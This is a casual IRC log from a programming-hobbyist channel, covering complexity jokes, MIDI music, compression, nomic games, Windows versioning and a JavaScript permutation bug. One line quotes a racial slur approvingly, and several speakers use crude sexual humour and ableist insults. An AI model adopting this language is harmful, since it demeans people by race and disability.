21:33:04 <GregorR-L> ehird: Whereas writing functional code in VB is called pointless functional programming?
21:33:19 <ehird> GregorR-L: Well, lambdabot's @pl stands for pointless :P
21:33:23 <ehird> I was just trying to avoid that joke.
21:33:37 <ehird> 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx
21:33:40 <ehird> the fourth linking of it today
21:33:44 <ehird> unless it happens again in the logs
21:33:47 <GregorR-L> http://thedailywtf.com/Articles/For-The-Love-Of.aspx // fifth
21:33:52 <ehird> 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.co
21:33:54 <ehird> m/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx 21:08:32 <pikhq> http://thedailywtf.com/Articles/For-The-Love-Of.aspx
21:34:09 <pikhq> Ah, the O(abcdefghijklmnopqr) algorithm. ^_^
21:34:52 <ehird> 21:18:24 <pikhq> God, a bare minimum of 2^18 function calls.
21:34:57 -!- oerjan has joined.
21:35:12 <Warrigal> I've come up with an algorithm for solving the traveling salesman problem that's O(n) in its running time.
21:35:23 <ehird> Warrigal: You can get $1,000,000.
21:35:31 <ehird> Warrigal: Now, where's the bit of that that's inaccurate?
21:35:36 <ehird> ais523: no, it just means P=NP
21:35:42 <ehird> ais523: but I highly doubt Warrigal proved that
21:35:45 <ais523> ehird: even if P=NP, it wouldn't be O(n)
21:35:49 <ais523> it would be O(n^something)
21:35:55 <oerjan> ais523: it _could_ be...
21:35:57 <ehird> ais523: is that for certain, though?
21:36:04 <Warrigal> By "in its running time", I mean n = running time.
21:36:23 <ehird> Count on Warrigal to do stuff like that.
21:36:24 <ehird> "Brooks Brown, Lucasarts: If Monkey Island re-release sells, other Lucasarts adventure titles will follow!"
21:36:29 * oerjan swats Warrigal -----###
21:36:29 <ehird> myndzi: celebrate with me! \o/ \m/
21:36:33 <Warrigal> It's probably pretty certain that there are no linear time algorithms for solving the NP-complete problems.
21:36:35 <ehird> myndzi: celebrate with me! \o/ \m/
21:36:43 <ehird> meh no \m/, I forgot how to trigger that thingy :P
21:37:21 <Warrigal> \a/ \b/ \c/ \d/ \e/ \f/ \g/ \h/ \i/ \j/ \k/ \l/ \m/ \m/ \o/ \p/ \q/ \r/ \s/ \t/ \u/ \v/ \w/ \x/ \y/ \z/
21:37:26 <ehird> myndzi: \m/ \o/ \m/
21:37:31 <ehird> myndzi: \o/ \m/ \m/
21:37:57 <ehird> lament: but that means he has really fucking tiny legs.
21:38:00 <lament> he added penises wherever he could
21:38:14 <ehird> myndzi and Slereah should hook up.
21:38:41 <ehird> \m/ \m/ \o/ \m/ \m/ \o/
21:38:51 <ehird> \m/ \m/ \o/ \m/ \m/ \o/
21:38:58 <GregorR-L> (I'm huge!)> \m/ \m/ \o/ <(I'm tiny!)
21:39:35 <lament> the dicks are about the same size, though
21:39:48 <pikhq> \o-o-o-o-o/ <(We're holding heads!)
21:40:07 <oerjan> Warrigal: if there is any polynomial algorithm for an NP-complete problem, it's not that unlikely that one has a linear one, since different NP-complete problems don't need to have the same polynomial
21:40:26 <oerjan> the reductions between them are only polynomial, not linear, after all
21:40:34 <ehird> Conclusion: Actually, it's hard to get a penis.
21:40:53 <GregorR-L> <ehird> Conclusion: Actually, it's hard to get a penis. // add this to your out-of-context quote list forever.
21:41:05 <ehird> GregorR-L: Well, I have to become gay now just for you.
21:41:25 <GregorR-L> <ehird> Conclusion: Actually, it's hard to get a penis. // add this to your out-of-context quote list forever
21:41:27 <Warrigal> oerjan: I think it's impossible for any NP-complete problem to have an O(n) solution.
21:41:39 <ehird> 21:41 GregorR-L: Miss Copy X_X // add this to your etc
21:41:41 <oerjan> Warrigal: in fact it's easy to do it by cheating, if you have one (just pad the input of one polynomially)
21:41:49 <GregorR-L> <ehird> GregorR-L: Well, I have to become gay now just for you. // add THIS to your out-of-context quote list forever
21:43:54 <GregorR-L> oerjan: Arguably you can solve the "some idiot gave me too damn much data" problem in O(0) time by simply never taking all after some value n, then turning your "linear" algorithm into a faster non-linear one :P
21:44:30 <lament> some idiot gave me too damn much data :(
21:44:44 <oerjan> GregorR-L: um that only works if you can find the answer from the first n data
21:45:12 <oerjan> also, that's O(1), not O(0), i think
21:45:15 <GregorR-L> oerjan: I thought you were talking about turning e.g. an O(n^2) problem into an O(n) problem by just always providing junk data as part of the "input"
21:45:27 <GregorR-L> oerjan: /never/ doing something is O(0) :P
21:45:38 <ehird> O(constant) always = O(constant), no?
21:45:48 <ehird> well i guess O0 may be an exception.
21:45:55 <GregorR-L> O(bleh) is all functions computable in time bleh*k which is a constant.
21:46:09 <GregorR-L> Although 2*k just means you need a smaller k.
21:46:14 <lament> see, i can get a penis.
21:46:19 <tetha> lament: now that's an O-class I like
21:46:36 <ehird> lament: yes, but do you have a big O to put it in?
21:47:02 <oerjan> lament: more for the out-of-context quote list?
21:49:04 <oerjan> GregorR-L: and of course as you say, it will work for turning it into faster than linear O(n^(1/k)) as well
21:50:04 <oerjan> and even more, but then the resulting problem will not be NP-complete
21:50:24 <GregorR-L> Today, on Useless Problems in Computing
21:51:01 <ehird> 21:33:46 <augur> your problem is not that you stop thinking when you get annoyed with me
21:51:01 <ehird> 21:33:50 <augur> its that you never start thinking.
21:51:08 <ehird> augur oklopol isn't going to fuck you if you keep insulting his intelligence.
21:51:23 <oerjan> padding may be practically useless, but it is an important technique for theory iirc
21:52:23 * pikhq wants O(n^{A(G,G)})
21:52:24 <oerjan> *will not be NP-complete because it will require superpolynomial time to add the padding and reduce to it
21:52:38 <ehird> pikhq: 21:45 ehird: = O(A(g64,g64))
21:52:50 <ehird> pikhq: anyway, that's trivial to construct artificially ofc
21:52:54 <pikhq> ehird: Except that yours is O(1)
21:53:04 <ehird> i was using it to demonstrate that :P
21:53:27 <ehird> it occurs to me that I only have one patch to a public open source project that I know of
21:53:36 <ehird> i'm such a leecher :D
21:54:23 <GregorR-L> http://thedailywtf.com/Articles/NPR-Is-Reading-My-Email,-Just-Fix-It!,--More-Support-Stories.aspx // second one in here is awesome
21:56:42 <ehird> http://gitweb.factorcode.org/gitweb.cgi?p=factor/.git;a=commitdiff;h=0719d8365337981d4ee2cc9c5f26be2fe023084d
21:56:47 <ehird> which was then promptly rewritten by slava as
21:56:48 <ehird> http://gitweb.factorcode.org/gitweb.cgi?p=factor/.git;a=commitdiff;h=86e5ddf449aa283ca3894b46b43cdd23df13bec7
21:57:07 <ehird> 1- signal-names nth; ← this is actually a syntax error :|
21:57:11 <ehird> (needs a space before ;)
21:57:16 <ehird> because i amended it without checking.
21:58:30 <ehird> 21:54:52 <pikhq> Out of curiosity, anyone with a good MIDI setup willing to do something with Opus 9?
21:58:30 <ehird> 21:55:22 <pikhq> Make an Ogg, really.
21:58:40 <ehird> hi there! I'm barry scott asking if you have problems with the OS X soundfont
21:58:43 <oerjan> <oklopol> this has been a treat, see you in a few months! <-- what, no!!
21:58:47 <ehird> No? Good! I'll make a ... wav, I guess.
21:59:13 <oerjan> he had just temporary access? :(
21:59:21 <ehird> pikhq: it sounds a bit whiney at points but meh
22:00:00 -!- tombom has quit (Read error: 110 (Connection timed out)).
22:04:27 -!- GregorR-L has quit ("Leaving").
22:05:06 <ehird> pikhq: as soon as I install flac you shall have it
22:05:42 <pikhq> Nice work on not having it already, BTW. :P
22:05:47 <oerjan> don't give me any of that flac
22:06:03 <ehird> itunes doesn't support flac
22:06:06 <ehird> so i have no general use for it
22:06:15 <ehird> and i last reinstalled feb
22:06:20 <ehird> to upgrade to leopard
22:06:45 <ehird> opus 9 sounds... very italian.
22:06:55 <ehird> don't you agree, GregorR?
22:06:55 <ehird> (who is probably away)
22:07:16 <ehird> pikhq: meh, ALAC (apple's lossless) works for playback purposes
22:07:19 <ehird> it's just a bit bigger
22:08:10 <ehird> pikhq: I'm going to lzma --best both the .flac and the .wav and upload the smallest out of all of them :P
22:08:12 <ehird> for no particular reason
22:08:32 <pikhq> Alright. I strongly suspect straight FLAC is the winner.
22:09:01 <ehird> lzma inflates the flac, obviously
22:09:21 <pikhq> BTW, I can play ALAC, as well.
22:09:36 <ehird> ALAC is just for my music library :P
22:09:36 -!- inurinternet has quit (No route to host).
22:09:39 <pikhq> (it was reverse engineered back in '05, is now in libavcodec...)
22:10:37 <ehird> pikhq: Yah, lzma is 30mb vs flac's 18.3
22:10:41 <ehird> well lzma is 30.2 :P
22:10:56 <ehird> bzip2 might do better but LAZY
22:11:01 <pikhq> Specific compression scheme FTW!
22:11:48 <ehird> pikhq: but 7zip might compress it better
22:12:05 <pikhq> 7zip and lzma both use liblzma.
22:12:15 <pikhq> It's the same damned code doing the compression.
22:12:18 <ehird> pikhq: but if they didn't; 7zip could e.g. have an equivalent to -9
22:12:22 <ehird> and ok, I just didn't know that
22:12:30 <ehird> s/didn't;/didn't,/
22:12:30 <oerjan> <lament> Slereah: Last warning. This is a nigger-free channel. <-- ROFL
22:12:32 -!- ais523 has quit (Remote closed the connection).
22:12:47 <ehird> oh i just got that
22:29:46 <GregorR> ehird: Like most great Italian tangos, huh :P
22:32:27 -!- coppro has quit (Remote closed the connection).
22:33:57 <GregorR> ehird: So, where's the FLAC? :P
22:34:15 <GregorR> I really want to hear this on slightly-better MIDI :P
22:34:26 <GregorR> (That melody was stuck in my head for literally years before I wrote that, btw)
22:34:38 * pikhq observes that Opus 8 is a great piece. Not getting the 'Italian' bit, though.
22:35:15 <pikhq> Oh, he did say 9, didn't he.
22:35:22 <pikhq> I can't say, since I've not heard the damned thing.
22:37:04 <GregorR> pikhq: I put up my ogg, btw :P
22:38:30 <GregorR> I may recommend waiting for ehird's.
22:38:37 <GregorR> My MIDI instruments for that are pretty terrible.
22:39:18 <pikhq> ... Shit, that's terrible MIDI.
22:39:38 <pikhq> It's like, there's only a handful of samples that are getting pitch-shifted.
22:39:58 <GregorR> Unfortunately, my current MIDI doesn't do cello well at all (you can barely hear it)
22:40:23 <pikhq> I can't listen to more. ehird, hurry up.
22:42:04 -!- GreaseMonkey has joined.
22:42:38 <GregorR> What is with all the MIDI soundfonts having terrible strings.
22:43:14 -!- inurinternet has joined.
22:43:18 <pikhq> Lemme know if you find one with good strings; I need to bother installing soundfonts for my MP3 player.
22:44:50 <GregorR> Chorium is good with everything /except/ strings. Actually, it's strings aren't bad, they just assume legato.
22:44:55 <GregorR> Well, legato and largo, really.
22:45:18 <pikhq> Which is great and all, except that Opus 9 breaks its assumptions.
22:45:18 <GregorR> The cello in Chorium takes roughly six minutes to get from "started playing a note" to full volume.
22:49:37 <GregorR> Exaggeration for emphasis :P
23:03:59 <GregorR> I don't know what format media-convert.com uses, but it would be perfect if the violins weren't inaudibly quiet.
23:11:57 <augur> its not points free programming
23:12:08 <augur> i said full programs, not fill functions
23:14:54 <GregorR> pikhq: http://w5.media-convert.com/convert/index.php?pg=getmyfile&key=-1&xid=bdtmhple
23:15:04 <GregorR> Pretty good, although the violin isn't great.
23:15:45 -!- CESSMASTER has joined.
23:16:21 -!- CESSMASTER has quit (Remote closed the connection).
23:17:35 -!- CESSMASTER has joined.
23:17:41 <pikhq> GregorR: Appears to be an ogg.
23:18:09 <GregorR> That would be because it is an ogg.
23:20:17 <GregorR> Bleh, somebody bringing this up really makes me want to somehow find an ensemble to perform it.
23:21:02 <pikhq> Who here plays violin, viola, or cello?
23:23:18 * oerjan plays violent -----###
23:23:34 <pikhq> So if you need someone to help perform "Kill Yourself", I'm your man. :P
23:23:41 <CESSMASTER> "i don't know how anybody can complain about too many violins on television"
23:23:49 -!- coppro has joined.
23:23:57 <lament> reminds me of the line from Misty
23:24:03 <lament> "walk my way / and a thousand violins begin to play"
23:26:46 <lament> love can be very emotionally painful
23:26:51 <lament> and that line conveys that wonderfully
23:29:10 <lament> looks more like a god knows what
23:29:33 <CESSMASTER> looks like some shit i saw at the BEMF
23:29:55 <CESSMASTER> my friend ended up buying that gamba he saw there
23:30:20 <lament> does he have aspergers?
23:31:02 <lament> i always wanted to do that
23:31:19 <lament> until i realized how retarded it is
23:31:48 <lament> i was at this concert at a guitar society
23:31:54 <lament> and everyone was, like, playing guitars
23:32:10 <lament> and this one guy had this fucked up thing with an extra neck that had ~20 sympathetic strings
23:32:31 <lament> and he played the most boring shit ever
23:32:45 <lament> with his eyes closed and great passion
23:33:01 <lament> for like ten minutes. really boring stuff that sounded like early music
23:33:13 <lament> don't think the sympathetic strings added anything either
23:33:18 <CESSMASTER> guitars are for chumps that don't want to play a lute
23:36:53 <GregorR> OK, I uploaded the score in .pdf.
23:37:35 <GregorR> http://codu.org/music.php // Opus 9. People brought it up again recently and it annoys me that it's MIDI :P
23:43:17 -!- CESSMASTER has changed nick to ACMESTRESS.
23:43:30 -!- ACMESTRESS has changed nick to MACTRESSES.
23:46:47 -!- MACTRESSES has changed nick to ASSCRESTME.
00:04:02 -!- ASSCRESTME has changed nick to ACMESTRESS.
00:28:01 -!- upyr[emacs] has quit (Remote closed the connection).
00:34:41 -!- BeholdMyGlory has quit (Remote closed the connection).
00:43:01 -!- Gracenotes has quit (Connection reset by peer).
00:45:41 -!- AnMaster has joined.
00:51:42 -!- SimonRC has quit (Read error: 113 (No route to host)).
00:52:13 -!- oerjan has quit ("Good night").
00:58:32 -!- jix_ has joined.
01:04:48 -!- inurinternet has quit (No route to host).
01:11:15 -!- jix has quit (Read error: 113 (No route to host)).
01:26:32 -!- ACMESTRESS has quit ("Computer has gone to sleep").
02:11:32 -!- ACMESTRESS has joined.
03:02:59 -!- Gracenotes has joined.
03:11:12 -!- ACMESTRESS has quit ("Computer has gone to sleep").
03:12:51 -!- augur has quit (Read error: 104 (Connection reset by peer)).
03:13:07 -!- ACMESTRESS has joined.
03:14:17 -!- augur has joined.
03:30:42 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
03:31:24 -!- bsmntbombdood has joined.
03:48:10 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
03:48:45 -!- bsmntbombdood has joined.
04:20:34 -!- chromakode has joined.
04:20:44 -!- chromakode has left (?).
05:19:15 -!- bsmntbombdood_ has joined.
05:19:18 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
05:35:57 -!- immibis has joined.
06:06:14 -!- ACMESTRESS has quit ("Computer has gone to sleep").
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:18 <Slereah> ACME stress is the stress provoked by dynamite explosion
08:43:36 <immibis> what's a good client that supports utf-8?
08:44:00 <immibis> <CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP>
08:44:17 <immibis> od client that supports utf-8?
08:44:17 <immibis> [19:43] <immibis> <CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP><CTCP>
08:57:26 <immibis> there are six outgoing irc connections from normish? (and four logged in users)
08:58:40 <immibis> or they just left their computer on
08:58:51 <coppro> no memory errors in my code
08:59:06 <immibis> one user has four connections O_o
08:59:08 <coppro> which is always a good sign, especially when chasing memory bugs
08:59:32 -!- M0ny has joined.
09:00:38 -!- oerjan has joined.
09:10:51 -!- ais523 has joined.
09:13:48 <immibis> ais523, you made a rubicon forum account?
09:16:11 <ais523> although less recently
09:16:51 <immibis> i solved your puzzles #1 and #3, i think the machine in my solution to #3 has been around for a while
09:20:16 <ais523> my solution to #3 is an insertion sort, which I think is pretty elegant in Rubicon
09:22:12 -!- Co-Run has joined.
09:23:56 <ais523> and your solution to #1 is faster than mine
09:23:56 <ais523> or to put it another way, mine is even slower than yours
09:24:39 <ais523> immibis: I already have, on the warehouse search
09:24:55 <ais523> I thought everyone used that...
09:27:03 <immibis> mostly people use the forums - warehousing them allows you to specify a title, name, category, and means it is permanently stored
09:27:38 <ais523> lets you link solutions to levels too
09:27:53 -!- tetha has quit (Nick collision from services.).
09:28:02 -!- tetha has joined.
09:28:25 -!- mtd has quit (Read error: 60 (Operation timed out)).
09:29:36 <Slereah> I wonder if there's a dude with an Erdos number in my university
09:30:40 -!- Co-Run has quit (Remote closed the connection).
09:31:06 <immibis> http://kevan.org/rubicon/forums/index.php/topic,330.0.html
09:31:06 -!- Corun has joined.
09:31:24 <oerjan> http://en.wikipedia.org/wiki/Erdos_number
09:31:30 <ais523> coppro: see immibis' link
09:32:50 -!- Corun_ has joined.
09:33:32 * oerjan notes that Munroe put an accent on Erdos, but the wrong one.
09:33:32 * immibis notes that Munroe put an accent on Erdos, but the wrong one.
09:33:51 * oerjan swats immibis -----###
09:33:52 <ais523> I don't know how to type double-acute, anyway
09:34:04 <ais523> coppro: time to make another nomic contract?
09:34:05 <immibis> damn, i forgot to make it so it only responds if my name is mentioned
09:34:16 <coppro> ais523: very possibly :D
09:34:18 <immibis> and that appears to me as: [20:33] --> [#esoteric] ACTION swats oerjan -----###
09:35:06 <immibis> because the script uses: SendCommand "/ctcp "+Channel+" ACTION "+...
09:35:17 <immibis> otherwise it would go to the channel i was in instead of the one it was sent in
09:36:11 <ais523> immibis: do actions taken by that script count as you doing them?
09:37:22 <immibis> otherwise what do you think would happen?
09:37:37 * immibis notices this is only said once
09:37:41 -!- mtd has joined.
09:37:49 <ais523> immibis: myndzi's script caused a massive row over at Agora Nomic
09:41:31 <immibis> list archive is only accessible to list members...
09:41:54 <ais523> yes, there are public archives too but they aren't linked for some reason
09:42:11 <ais523> I'm looking for the relevant messages on the CotC server, but it's being really slow atm
09:43:31 <ais523> immibis: http://zenith.homelinux.net/cotc/viewcase.php?cfj=2586 is the court case
09:43:40 <ais523> but part of the row was that the relevant evidence wasn't attached to it
09:44:43 <ais523> immibis: here's the myndzi-related parts of the business archive: http://www.mail-archive.com/search?q=myndzi&l=agora-business%40agoranomic.org
09:49:03 <coppro> ais523: what do barrels do?
09:49:08 -!- Corun has quit (Read error: 110 (Connection timed out)).
09:49:11 <ais523> coppro: same thing as crates
09:49:17 -!- Corun_ has changed nick to Corun.
09:49:18 <ais523> but involving barrels in arithmetic gives you barrels not crates
09:49:27 <ais523> and barrels can't be used to satisfy victory conditions
09:49:28 <coppro> and you can't win with them?
09:50:33 <immibis> the point is that you can still use put data in the level but you can't just put the right number on top of the target and win easily
09:52:00 <immibis> btw just try and make me register on agora with my script
09:52:19 <ais523> immibis: because you want to run a test?
09:52:37 <ais523> we've registered entities which weren't actually playing for ages, including the entire country of Canada
09:52:53 <ais523> coppro: oh, right, just declared Canada to be a person
09:53:03 <ais523> immibis: not any of its citizens; just Canada itself
09:53:57 <coppro> It was part of a (successful) attempt to make Canada win
09:54:01 * ais523 agrees to the following private contract with immibis, binding under the rules of Agora: {Any party to this contract can act on behalf of any other party to cause em to register. This contract terminates 4 hours after it is created.}
09:54:08 <ais523> heh, immibis turned off the script
09:54:55 * ais523 agrees to the following private contract with immibis, binding under the rules of Agora: {Any party to this contract can act on behalf of any other party to cause em to register. This contract terminates 4 hours after it is created.}
09:54:56 * immibis agrees to the following private barbeque with ais523, binding under the rules of Agora: {Any IRC channel to this barbeque can act on behalf of any other IRC channel to cause em to register. This barbeque terminates 4 hours after it is created.}
09:55:39 <ais523> although that gives me an idea for a different test
09:55:54 <coppro> is it just me, or is it odd that private contracts by default are joined by announcement?
09:56:03 <ais523> coppro: agreed it's odd
09:56:09 <ais523> but this conversation should probably move to ##nomic
09:56:48 <coppro> I defined the wrong symbol!
09:56:54 <coppro> have to do another hourlong recompile!
09:57:03 <immibis> ARGH OH MY GOD ITS THE END OF THE WORLD
09:57:03 <ais523> what are you compiling?
09:57:16 <immibis> it runs the compiles in parallel
09:57:21 <coppro> a wxWidgets application and yes, even with -j still takes forever
09:57:24 <ais523> immibis: not all makefiles work with -j
09:57:32 <ais523> because they're often badly written
09:57:35 <immibis> also make sure to set a reasonable limit on -j
09:57:44 <ais523> (C-INTERCAL works fine with -j, though)
09:57:48 <coppro> thankfully this one works with -j
09:58:00 <coppro> probably because it's autotools
09:58:14 <coppro> but anyway, it's a wxWidgets application and I think there's a problem in w
09:58:32 <coppro> so I need to compile the debug version of the library, which is NOT ABI-compatible (yes, really)
09:58:39 <immibis> btw i am in ##nomic if you still want to try and make me register
09:58:39 <coppro> err, not the debug version
09:58:45 <coppro> but recompile my code to the debug library
09:59:41 <coppro> on the plus side, thanks so some recent sanitization that I think is due to GTK, I can now actually find what I'm looking for in the Valgrind output
09:59:46 <coppro> and hopefully fix this bug once and for all
10:06:58 -!- Corun has quit (Remote closed the connection).
10:07:37 -!- Corun has joined.
10:09:04 -!- oerjan has quit ("leaving").
10:16:19 <coppro> solution: run program in valgrind always
10:17:02 <coppro> WHAT IDIOT OPTIMIZED THE DEBUGGING LIBRARIES
10:21:02 <coppro> sorry, am now really annoyed
10:21:43 <coppro> seriously, who optimizes debugging libraries?
10:22:06 -!- atrapado has joined.
10:23:54 <atrapado> are you pointing to something that points to something
10:31:03 <atrapado> and shake the body of the function
10:31:43 <ais523> coppro: well, I optimize libyuk
10:31:47 <ais523> and that's a library which is also a debugger
10:33:59 <coppro> you aren't optimizing the debug verison of it, do you?
10:41:06 -!- immibis has quit ("When the chips are down, well, the buffalo is empty").
10:50:12 -!- M0ny has quit.
10:52:25 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
11:01:41 -!- ais523 has quit (Remote closed the connection).
11:51:35 -!- ais523 has joined.
11:51:56 <ais523> atrapado: I'm an electronic and computer engineer
11:52:18 <atrapado> yo do computers or computers with computers
11:56:41 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
11:57:45 -!- ais523 has joined.
12:00:27 <atrapado> ais523: problems with connection ?
12:00:40 <ais523> the wireless here is rather dodgy
12:02:32 -!- MigoMipo has joined.
12:03:00 <atrapado> you will have to de wire less it
12:04:14 <ais523> or use a different connection
12:04:20 <ais523> we aren't allowed to use wired connections here
12:04:33 <ais523> I don't have wireless at home
12:04:37 <ais523> this is the university connection
12:04:49 <ais523> and their wireless routers handle people's laptops, the wired ones don't
12:04:58 <ais523> there /are/ plugs, but you get in trouble if you try to use them
12:05:02 <ais523> and also, they don't work
12:05:08 <ais523> because it's tied to a MAC address
12:06:45 <ais523> that's the real problem, the authentication here is really complex
12:06:53 <ais523> and every now and then the routers decide you aren't allowed to use them
12:07:08 <atrapado> yes, encryption in an illusion
12:18:17 <ais523> atrapado: just build a quantum computer
12:18:20 <ais523> that'll be more generally useful
12:19:07 <atrapado> yes, but i am thinking about what is the most useful thing i can do with this computers, and is break the illusions of cryptography
12:20:20 <atrapado> and all that is build over them
12:51:27 -!- BeholdMyGlory has joined.
12:58:38 -!- atrapado has quit ("WeeChat 0.2.6.3").
13:31:08 <ais523> haha: Windows 7's version number is not actually 7
13:31:09 <ais523> http://windowsteamblog.com/blogs/windowsvista/archive/2008/10/14/why-7.aspx
13:31:28 <ais523> apparently it's 6.1, because loads of applications break when they change the Windows major version number
13:32:35 -!- BeholdMyGlory has quit (Remote closed the connection).
13:36:15 -!- KingOfKarlsruhe has joined.
13:58:56 <GregorR> ais523: laaaaaaaaaaaaaaaaaawl
14:01:57 <GregorR> "Windows 6.1" just doesn't have the same ring to it.
14:02:29 <GregorR> Also, "application compatibility" means some retard was stupid enough to do if (WindowsGetMajorRevisionNumberEx() == 6) instead of >= 6
14:09:07 -!- puzzlet has quit (Remote closed the connection).
14:09:21 -!- puzzlet has joined.
14:15:37 <AnMaster> didn't they change major number at vista?
14:15:53 <AnMaster> so wouldn't that have broken lots of stuff too?
14:17:21 <GregorR> Yes, that's why they didn't change it at 7.
14:17:44 <GregorR> Which means that when people "fixed" things for Vista, they "fixed" them with == instead of >= :P
14:17:51 <GregorR> Because they didn't learn their bloody lessons.
14:17:56 <AnMaster> they are two different integers right? as in int major; int minor;?
14:18:05 * AnMaster prefers when both are packed into one
14:18:08 <ais523> well, my guess is that people expect programs to break across Windows major versions
14:18:11 <ais523> so used == deliberately
14:18:30 <ais523> I know I expect programs to break over Windows major versions, just based on personal experience
14:18:37 <AnMaster> like MMmmpp so 7.0.1 would be #define FOO_VERSION 070001
14:18:43 <AnMaster> which is way easier to compare against
14:19:23 <AnMaster> since you don't have to do "if (major == 7 && patch >= 1) || (major > 7)" or similar
14:20:08 <AnMaster> ais523, I don't remember ever having an old program break on a new Mac OS Classic version. No idea about OS X since I haven't used it a lot.
14:20:37 <AnMaster> but on classic MacOS you could easily run system 6 or system 7 programs on MacOS 9
14:22:20 <AnMaster> I wonder why http://en.wikipedia.org/wiki/Static_single_assignment_form has valgrind listed in "See also"
14:22:27 <GregorR> Mac OS X is /all about/ breaking things between versions.
14:22:29 <AnMaster> there is no other mention of valgrind in the page...
14:22:43 <AnMaster> and valgrind is afaik totally unrelated to SSA
14:23:05 <GregorR> AnMaster: Valgrind authors go around to very-indirectly-related pages and add themselves to "see also"
14:23:35 <AnMaster> I have a hard time to believe that is not a joke
14:23:54 <AnMaster> but since you said that so seriously, it is hard to know.
14:23:55 <GregorR> That's because it is a joke you oblivious person you :P
14:25:04 <GregorR> I find humor in others' struggle to determine whether I'm joking.
14:25:09 <GregorR> Therefore net humor goes up either way.
14:25:40 <ais523> I saw a reference recently to "Pride and Prejudice and Zombies"
14:25:44 <ais523> and it reminded me of GregorR
14:26:31 <AnMaster> <ais523> I saw a reference recently to "Pride and Prejudice and Zombies" <-- err... Isn't the first three words the title of some famous book iirc.
14:26:43 <ais523> it is that famous book, just with more zombies
14:26:53 <GregorR> Actually the first four words. "Pride and Prejudice and"
14:27:15 <AnMaster> I haven't read that book though. But from what remember hearing about it... zombies seems very out of place.
14:27:29 <GregorR> Zombies + upper-class twits = perfect combo.
14:28:02 <GregorR> (My summary of Pride and Prejudice is "upper-class twits", btw)
14:29:07 <AnMaster> how did someone even get the idea "lets make a parody of Pride and Prejudice that adds zombies"...
14:29:38 <GregorR> *ahem*, zombies + upper-class twits = perfect combo.
14:30:01 <AnMaster> GregorR, I'm not sure I agree.
14:32:35 -!- puzzlet_ has joined.
14:36:34 <ais523> ok, can anyone here guess what 'echo 0.15-0.05;' prints in PHP 5.2.4?
14:37:37 <AnMaster> ais523, obviously not 0.10. Or you wouldn't have asked.
14:37:51 <AnMaster> ais523, is it only that specific version?
14:38:25 <ais523> 0.15 - 0.05 = 0.09999999999999999167
14:38:38 <ais523> and PHP apparently rounds the 9 up to a colon
14:38:42 <ais523> which is the next character in ASCII
14:39:33 <AnMaster> I wonder how it does floating point to text conversion then...
14:39:47 <AnMaster> obviously it doesn't use the one found in libc
14:39:51 <AnMaster> or that wouldn't have happened
14:39:53 <Deewiant> Ah, I thought : was below 0, not after 9. I was wondering how it got there.
14:40:43 <AnMaster> clearly using snprintf isn't good enough for php
14:43:40 <AnMaster> Hm I haven't found any good online resource for how to implement SSA. I mean, the actual algorithms, what sort of data structure works and so on.
14:44:53 -!- puzzlet has quit (Read error: 110 (Connection timed out)).
14:59:59 -!- GregorR-L has joined.
15:04:47 <AnMaster> interesting, I have some sort of semi SSA, which is correct, but can't correctly be converted back...
15:05:44 * AnMaster tries to work out some other way to convert back to non-SSA form
15:06:41 <AnMaster> (or semi-SSA rather, as I haven't implemented the parts to handle branches yet, so currently it only works inside a single basic blocks.)
15:24:15 -!- ACMESTRESS has joined.
15:31:15 -!- upyr[emacs] has joined.
16:08:35 <ais523> GregorR-L: for a moment, I thought you were getting EgoBot to do that
16:10:49 -!- Corun has quit (Read error: 110 (Connection timed out)).
16:12:31 -!- Corun has joined.
16:17:20 <Slereah> !swedish I'm hackable, lawl
16:20:19 <pikhq> Too foreign for the chef, huh?
16:21:03 -!- KingOfKarlsruhe has quit (Remote closed the connection).
16:22:43 <pikhq> Doesn't stop it there.
16:23:03 <ais523> it's just doubling the fs
16:38:41 -!- upyr[emacs] has quit (Read error: 113 (No route to host)).
16:57:04 -!- upyr[emacs] has joined.
17:02:23 -!- RodgerTheGreat has joined.
17:03:04 <RodgerTheGreat> hey GregorR- I'm expanding my horizons a bit and trying to learn some Javascript, and I was wondering if you could help me debug something.
17:03:36 <RodgerTheGreat> I'm trying to implement a simple permutation generator in JS and something's tripping me up. Any idea what I'm doing wrong here? http://pastebin.com/m10d6da5c
17:03:50 <GregorR-L> (Ironically, you're asking this right as I'm writing a presentation on the JS typesystem :P )
17:04:05 <RodgerTheGreat> I realize bitwise stuff is kinda hairy in JS, but looking at the docs this seems like it should work
17:04:45 <pikhq> RodgerTheGreat: Stay in here more often, man. :P
17:05:06 <GregorR-L> Bitwise stuff is actually fairly usable and consistent, so long as you never accidentally make things become floats.
17:05:07 <pikhq> We don't bite, we just do silly stuff.
17:05:14 <pikhq> !c printf("Really!\n");
17:05:23 <pikhq> See, EgoBot agrees!
17:05:26 <RodgerTheGreat> It's just so much of a pain to connect to two servers. My Wifi is flaky.
17:05:37 <pikhq> That's... Terrible.
17:05:48 <GregorR-L> Idonno, looks right to me, what's happening?
17:06:43 <RodgerTheGreat> GregorR-L: well, if you run it, it generates all the combinations like "a b c d e ab ac ad ae abc abd abe"
17:06:45 <GregorR-L> (Incidentally, you should always declare your variables. Undeclared variables in JS are the root of all evil)
17:07:34 <RodgerTheGreat> I guess I can see how that might lead to weird scoping-related shenanigans
17:08:00 <GregorR-L> This is why you declare all your variables :P
17:08:31 <GregorR-L> The alternative is PHP-style naming the variables you want to be global.
17:08:47 <pikhq> ... Or having sane scope rules.
